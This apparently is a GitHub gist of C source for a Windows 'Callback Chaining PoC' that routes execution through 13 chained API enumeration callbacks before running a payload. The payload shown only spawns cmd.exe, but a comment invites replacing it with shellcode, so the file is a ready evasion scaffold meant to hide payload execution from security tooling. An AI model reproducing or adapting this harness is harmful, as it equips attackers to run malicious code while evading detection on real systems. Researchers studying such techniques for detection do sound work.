Created
January 8, 2026 05:27
-
-
Save emdnaia/de44b53dfb43ec632943d99f6ea32d18 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * Callback Chaining PoC - Windows API Callback Chain Execution | |
| */ | |
| #include <Windows.h> | |
| #include <dbghelp.h> | |
| #include <powrprof.h> | |
| #include <stdio.h> | |
| #pragma comment(lib, "user32.lib") | |
| #pragma comment(lib, "gdi32.lib") | |
| #pragma comment(lib, "crypt32.lib") | |
| #pragma comment(lib, "Dbghelp.lib") | |
| #pragma comment(lib, "PowrProf.lib") | |
| typedef struct _CHAIN_CONTEXT { | |
| LONG GateFlag[256]; | |
| LONG NextGate; | |
| } CHAIN_CONTEXT, *PCHAIN_CONTEXT; | |
| VOID DispatchCallbackRoutines(PCHAIN_CONTEXT Context); | |
| #define ExecuteCallBackOnceHandler(Context) do { \ | |
| static const LONG GateIndex = __COUNTER__; \ | |
| if (InterlockedExchange(&(Context)->GateFlag[GateIndex], 1)) return TRUE; \ | |
| } while (0) | |
| /* | |
| * Payload execution - called after 13 callback layers | |
| * Replace this with your payload (shellcode, etc.) | |
| */ | |
| VOID ExecutePayload(VOID) | |
| { | |
| printf("\n"); | |
| printf("=============================================\n"); | |
| printf(" PAYLOAD EXECUTED - 13 CALLBACKS DEEP!\n"); | |
| printf("=============================================\n\n"); | |
| STARTUPINFOA si = { sizeof(si) }; | |
| PROCESS_INFORMATION pi = { 0 }; | |
| si.lpTitle = "PWNED - Callback Chain (13 deep)"; | |
| si.dwFlags = STARTF_USESHOWWINDOW; | |
| si.wShowWindow = SW_SHOW; | |
| CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, | |
| FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); | |
| printf("[+] Spawned cmd.exe (PID: %lu)\n", pi.dwProcessId); | |
| } | |
| //============================================================================= | |
| // CALLBACK 13 - EnumResourceTypesExW (Final) | |
| //============================================================================= | |
| BOOL CALLBACK EnumResTypeProcW(HMODULE hModule, LPWSTR lpType, LONG_PTR lParam) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(hModule); | |
| UNREFERENCED_PARAMETER(lpType); | |
| printf("[>] Callback 13: EnumResourceTypesExW\n"); | |
| ExecutePayload(); | |
| return TRUE; | |
| } | |
| //============================================================================= | |
| // CALLBACK 12 - EnumPwrSchemes | |
| //============================================================================= | |
| BOOL CALLBACK PwrSchemesEnumProc(UINT UiIndex, DWORD dwName, LPWSTR sName, | |
| DWORD dwDesc, LPWSTR sDesc, PVOID pp, LPARAM lParam) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(UiIndex); UNREFERENCED_PARAMETER(dwName); | |
| UNREFERENCED_PARAMETER(sName); UNREFERENCED_PARAMETER(dwDesc); | |
| UNREFERENCED_PARAMETER(sDesc); UNREFERENCED_PARAMETER(pp); | |
| printf("[>] Callback 12: EnumPwrSchemes\n"); | |
| Context->NextGate++; | |
| DispatchCallbackRoutines(Context); | |
| return TRUE; | |
| } | |
| //============================================================================= | |
| // CALLBACK 11 - EnumObjects | |
| //============================================================================= | |
| INT CALLBACK EnumObjectsProc(LPVOID lpLogObject, LPARAM lParam) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(lpLogObject); | |
| printf("[>] Callback 11: EnumObjects\n"); | |
| Context->NextGate++; | |
| DispatchCallbackRoutines(Context); | |
| return 0; | |
| } | |
| //============================================================================= | |
| // CALLBACK 10 - EnumLanguageGroupLocalesW | |
| //============================================================================= | |
| BOOL WINAPI LangGroupLocaleEnumProc(LGRPID LanguageGroupId, LCID lcid, | |
| LPWSTR lpLocale, LONG_PTR lParam) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(LanguageGroupId); | |
| UNREFERENCED_PARAMETER(lcid); | |
| UNREFERENCED_PARAMETER(lpLocale); | |
| printf("[>] Callback 10: EnumLanguageGroupLocalesW\n"); | |
| Context->NextGate++; | |
| DispatchCallbackRoutines(Context); | |
| return TRUE; | |
| } | |
| //============================================================================= | |
| // CALLBACK 9 - EnumFontsW | |
| //============================================================================= | |
| INT CALLBACK EnumFontsProc(LOGFONTW* lplf, TEXTMETRICW* lptm, DWORD dwType, LPARAM lParam) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(lplf); | |
| UNREFERENCED_PARAMETER(lptm); | |
| UNREFERENCED_PARAMETER(dwType); | |
| printf("[>] Callback 9: EnumFontsW\n"); | |
| Context->NextGate++; | |
| DispatchCallbackRoutines(Context); | |
| return 0; | |
| } | |
| //============================================================================= | |
| // CALLBACK 8 - EnumFontFamiliesExW | |
| //============================================================================= | |
| INT CALLBACK EnumFontFamExProc(ENUMLOGFONTEXW* lpelfe, NEWTEXTMETRICEXW* lpntme, | |
| DWORD FontType, LPARAM lParam) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(lpelfe); | |
| UNREFERENCED_PARAMETER(lpntme); | |
| UNREFERENCED_PARAMETER(FontType); | |
| printf("[>] Callback 8: EnumFontFamiliesExW\n"); | |
| Context->NextGate++; | |
| DispatchCallbackRoutines(Context); | |
| return 0; | |
| } | |
| //============================================================================= | |
| // CALLBACK 7 - EnumerateLoadedModules64 | |
| //============================================================================= | |
| BOOL CALLBACK EnumLoadedModulesCallback(PCSTR ModuleName, DWORD64 ModuleBase, | |
| ULONG ModuleSize, PVOID UserContext) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)UserContext; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(ModuleName); | |
| UNREFERENCED_PARAMETER(ModuleBase); | |
| UNREFERENCED_PARAMETER(ModuleSize); | |
| printf("[>] Callback 7: EnumerateLoadedModules64\n"); | |
| Context->NextGate++; | |
| DispatchCallbackRoutines(Context); | |
| return TRUE; | |
| } | |
| //============================================================================= | |
| // CALLBACK 6 - EnumDisplayMonitors | |
| //============================================================================= | |
| BOOL CALLBACK MonitorEnumProc(HMONITOR hMonitor, HDC hDc, LPRECT lprcClip, LPARAM dwData) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)dwData; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(hMonitor); | |
| UNREFERENCED_PARAMETER(hDc); | |
| UNREFERENCED_PARAMETER(lprcClip); | |
| printf("[>] Callback 6: EnumDisplayMonitors\n"); | |
| Context->NextGate++; | |
| DispatchCallbackRoutines(Context); | |
| return TRUE; | |
| } | |
| //============================================================================= | |
| // CALLBACK 5 - EnumDesktopWindows | |
| //============================================================================= | |
| BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(hwnd); | |
| printf("[>] Callback 5: EnumDesktopWindows\n"); | |
| Context->NextGate++; | |
| DispatchCallbackRoutines(Context); | |
| return TRUE; | |
| } | |
| //============================================================================= | |
| // CALLBACK 4 - EnumDesktopsW | |
| //============================================================================= | |
| BOOL CALLBACK EnumDesktopProc(LPWSTR lpszDesktop, LPARAM lParam) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(lpszDesktop); | |
| printf("[>] Callback 4: EnumDesktopsW\n"); | |
| Context->NextGate++; | |
| DispatchCallbackRoutines(Context); | |
| return TRUE; | |
| } | |
| //============================================================================= | |
| // CALLBACK 3 - EnumChildWindows | |
| //============================================================================= | |
| BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)lParam; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(hwnd); | |
| printf("[>] Callback 3: EnumChildWindows\n"); | |
| Context->NextGate++; | |
| DispatchCallbackRoutines(Context); | |
| return TRUE; | |
| } | |
| //============================================================================= | |
| // CALLBACK 2 - CryptEnumOIDInfo | |
| //============================================================================= | |
| BOOL WINAPI PfnCryptEnumOidInfo(PCCRYPT_OID_INFO pInfo, PVOID pvArg) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)pvArg; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(pInfo); | |
| printf("[>] Callback 2: CryptEnumOIDInfo\n"); | |
| Context->NextGate++; | |
| DispatchCallbackRoutines(Context); | |
| return TRUE; | |
| } | |
| //============================================================================= | |
| // CALLBACK 1 - CertEnumSystemStore (Entry) | |
| //============================================================================= | |
| BOOL WINAPI PfnCertEnumSystemStore(PVOID pvSystemStore, DWORD dwFlags, | |
| PCERT_SYSTEM_STORE_INFO pStoreInfo, PVOID pvReserved, PVOID pvArg) | |
| { | |
| PCHAIN_CONTEXT Context = (PCHAIN_CONTEXT)pvArg; | |
| ExecuteCallBackOnceHandler(Context); | |
| UNREFERENCED_PARAMETER(pvSystemStore); | |
| UNREFERENCED_PARAMETER(dwFlags); | |
| UNREFERENCED_PARAMETER(pStoreInfo); | |
| UNREFERENCED_PARAMETER(pvReserved); | |
| printf("[>] Callback 1: CertEnumSystemStore\n"); | |
| Context->NextGate++; | |
| DispatchCallbackRoutines(Context); | |
| return TRUE; | |
| } | |
| //============================================================================= | |
| // Callback Dispatcher | |
| //============================================================================= | |
| VOID DispatchCallbackRoutines(PCHAIN_CONTEXT Context) | |
| { | |
| switch (Context->NextGate) | |
| { | |
| case 0: | |
| CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, Context, | |
| (PFN_CERT_ENUM_SYSTEM_STORE)PfnCertEnumSystemStore); | |
| break; | |
| case 1: | |
| CryptEnumOIDInfo(0, 0, Context, (PFN_CRYPT_ENUM_OID_INFO)PfnCryptEnumOidInfo); | |
| break; | |
| case 2: | |
| EnumChildWindows(NULL, (WNDENUMPROC)EnumChildProc, (LPARAM)Context); | |
| break; | |
| case 3: | |
| EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)EnumDesktopProc, | |
| (LPARAM)Context); | |
| break; | |
| case 4: | |
| EnumDesktopWindows(NULL, (WNDENUMPROC)EnumWindowsProc, (LPARAM)Context); | |
| break; | |
| case 5: | |
| EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)MonitorEnumProc, (LPARAM)Context); | |
| break; | |
| case 6: | |
| EnumerateLoadedModules64(GetCurrentProcess(), | |
| (PENUMLOADED_MODULES_CALLBACK64)EnumLoadedModulesCallback, Context); | |
| break; | |
| case 7: | |
| { | |
| LOGFONTW Font = { 0 }; | |
| Font.lfCharSet = DEFAULT_CHARSET; | |
| HDC hDc = GetDC(NULL); | |
| if (hDc) { | |
| EnumFontFamiliesExW(hDc, &Font, (FONTENUMPROCW)EnumFontFamExProc, | |
| (LPARAM)Context, 0); | |
| ReleaseDC(NULL, hDc); | |
| } | |
| break; | |
| } | |
| case 8: | |
| { | |
| HDC hDc = GetDC(NULL); | |
| if (hDc) { | |
| EnumFontsW(hDc, NULL, (FONTENUMPROCW)EnumFontsProc, (LPARAM)Context); | |
| ReleaseDC(NULL, hDc); | |
| } | |
| break; | |
| } | |
| case 9: | |
| EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)LangGroupLocaleEnumProc, | |
| LGRPID_WESTERN_EUROPE, 0, (LONG_PTR)Context); | |
| break; | |
| case 10: | |
| { | |
| HDC hDc = GetDC(NULL); | |
| if (hDc) { | |
| EnumObjects(hDc, OBJ_BRUSH, (GOBJENUMPROC)EnumObjectsProc, (LPARAM)Context); | |
| ReleaseDC(NULL, hDc); | |
| } | |
| break; | |
| } | |
| case 11: | |
| EnumPwrSchemes((PWRSCHEMESENUMPROC)PwrSchemesEnumProc, (LPARAM)Context); | |
| break; | |
| case 12: | |
| if (!EnumResourceTypesExW(NULL, (ENUMRESTYPEPROCW)EnumResTypeProcW, | |
| (LONG_PTR)Context, RESOURCE_ENUM_VALIDATE, 0)) { | |
| printf("[>] Callback 13: Direct dispatch\n"); | |
| ExecutePayload(); | |
| } | |
| break; | |
| default: | |
| break; | |
| } | |
| } | |
| //============================================================================= | |
| // Main | |
| //============================================================================= | |
| INT main(VOID) | |
| { | |
| printf("\n"); | |
| printf("=============================================\n"); | |
| printf(" Callback Chaining PoC\n"); | |
| printf(" Inspired by @smelly__vx & @KlezVirus\n"); | |
| printf("=============================================\n\n"); | |
| printf("[*] Callbacks: 13 layers deep\n"); | |
| printf("[*] Payload: cmd.exe spawn\n\n"); | |
| printf("[*] Starting callback chain...\n\n"); | |
| CHAIN_CONTEXT Context = { 0 }; | |
| DispatchCallbackRoutines(&Context); | |
| printf("\n[*] Press Enter to exit...\n"); | |
| getchar(); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment